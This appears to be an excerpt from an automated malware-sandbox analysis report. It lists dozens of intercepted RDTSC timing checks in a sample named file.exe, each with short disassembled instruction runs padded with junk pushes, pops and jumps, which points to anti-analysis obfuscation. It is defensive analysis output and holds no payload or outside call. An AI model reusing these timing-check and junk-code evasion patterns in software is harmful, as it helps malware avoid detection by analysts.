Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAEE3 second address: 5FAEE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAEE7 second address: 5FAF08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F1374C2DE13h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jo 00007F1374C2DE06h 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAF08 second address: 5FAF10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAF10 second address: 5FAF14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAF14 second address: 5FAF29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAF29 second address: 5FAF74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jno 00007F1374C2DE06h 0x00000010 jmp 00007F1374C2DE15h 0x00000015 jo 00007F1374C2DE06h 0x0000001b jl 00007F1374C2DE06h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F1374C2DE0Dh 0x00000029 jmp 00007F1374C2DE0Ah 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FAF74 second address: 5FAF7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD6D0 second address: 5FD6E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F1374C2DE11h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD6E9 second address: 5FD6F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1374D398B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601A3C second address: 601A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601A42 second address: 601A4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601A4B second address: 601A65 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F1374C2DE14h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601A65 second address: 601A74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jbe 00007F1374D398B6h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601EB0 second address: 601EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1374C2DE06h 0x0000000a jmp 00007F1374C2DE0Dh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602023 second address: 602039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1374D398C1h 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602039 second address: 60205C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1374C2DE1Dh 0x00000008 jmp 00007F1374C2DE17h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60205C second address: 602060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604D49 second address: 604D89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F1374C2DE0Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1374C2DE15h 0x00000016 jmp 00007F1374C2DE0Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604D89 second address: 604DB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398C1h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F1374D398B6h 0x00000015 jl 00007F1374D398B6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6052F5 second address: 6052F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6052F9 second address: 6052FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AF17 second address: 60AF1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AF1B second address: 60AF3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1374D398C8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AF3B second address: 60AF41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AF41 second address: 60AF47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AF47 second address: 60AF4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AF4F second address: 60AF53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AF53 second address: 60AF5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6096ED second address: 6096F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6096F3 second address: 6096F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609889 second address: 60988D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60988D second address: 609893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609B48 second address: 609B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609B54 second address: 609B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609B5A second address: 609B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609B5E second address: 609B83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE10h 0x00000007 jmp 00007F1374C2DE0Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609B83 second address: 609B8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1374D398B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609B8F second address: 609B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3E32 second address: 5B3E38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609FC5 second address: 609FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609FCD second address: 609FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F1374D398B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609FD7 second address: 60A027 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1374C2DE06h 0x00000008 jmp 00007F1374C2DE14h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push edi 0x00000011 jmp 00007F1374C2DE16h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F1374C2DE18h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A188 second address: 60A18E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A18E second address: 60A1D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1374C2DE0Ch 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F1374C2DE19h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1374C2DE19h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A1D5 second address: 60A1D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A1D9 second address: 60A1E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A1E3 second address: 60A1E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A1E9 second address: 60A1ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615085 second address: 61508C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61508C second address: 615097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569F2E second address: 569F45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569F45 second address: 569F49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613267 second address: 613271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1374D398B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613271 second address: 613277 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3DCE second address: 5B3E32 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 or dword ptr [ebp+122D1C1Eh], edx 0x0000000f mov dx, ax 0x00000012 mov ebx, dword ptr [ebp+1248AEF2h] 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F1374D398B8h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 0000001Bh 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 or edi, dword ptr [ebp+122D1DECh] 0x00000038 movzx edx, cx 0x0000003b add eax, ebx 0x0000003d pushad 0x0000003e sub dword ptr [ebp+1247F2EAh], ecx 0x00000044 call 00007F1374D398BEh 0x00000049 pop ebx 0x0000004a popad 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614DD7 second address: 614E07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE12h 0x00000007 push eax 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop eax 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pushad 0x00000013 popad 0x00000014 push edi 0x00000015 pop edi 0x00000016 pop edi 0x00000017 je 00007F1374C2DE0Ch 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6197A8 second address: 6197C5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1374D398B6h 0x00000008 jns 00007F1374D398B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F1374D398BDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6197C5 second address: 6197CC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C94F second address: 61C969 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F1374D398BFh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C969 second address: 61C976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1374C2DE06h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61CAD6 second address: 61CADC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D014 second address: 61D02A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1374C2DE10h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61EA79 second address: 61EA7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61EA7D second address: 61EA84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61EA84 second address: 61EAA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F1374D398BAh 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F1374D398BCh 0x00000014 jo 00007F1374D398B6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625CAD second address: 625CBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625CBB second address: 625CDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625E29 second address: 625E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F1374C2DE0Eh 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625E3F second address: 625E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625E48 second address: 625E4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625E4C second address: 625E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F1374D398BCh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626412 second address: 62643A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1374C2DE06h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnc 00007F1374C2DE1Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62643A second address: 626451 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jp 00007F1374D398B6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626451 second address: 626486 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c jnc 00007F1374C2DE06h 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F1374C2DE14h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626486 second address: 62648A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6265F6 second address: 6265FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6265FC second address: 626600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626600 second address: 626614 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1374C2DE0Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626614 second address: 626632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398C2h 0x00000007 jo 00007F1374D398BEh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626761 second address: 62676B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F1374C2DE06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62676B second address: 62677C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398BDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62677C second address: 62679C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F1374C2DE16h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62679C second address: 6267A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626A06 second address: 626A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626A0C second address: 626A1B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jo 00007F1374D398B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626A1B second address: 626A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626BA0 second address: 626BBA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1374D398B6h 0x00000008 jl 00007F1374D398B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 pushad 0x00000012 push ebx 0x00000013 pushad 0x00000014 popad 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626BBA second address: 626BC4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1374C2DE06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627AD1 second address: 627ADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F1374D398B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A181 second address: 62A187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A187 second address: 62A18B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62EEF9 second address: 62EEFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62EEFF second address: 62EF03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62EF03 second address: 62EF33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jnl 00007F1374C2DE06h 0x00000012 push eax 0x00000013 pop eax 0x00000014 jmp 00007F1374C2DE15h 0x00000019 jc 00007F1374C2DE06h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E89B second address: 62E89F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62EA27 second address: 62EA66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1374C2DE19h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F1374C2DE17h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62EA66 second address: 62EA6C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
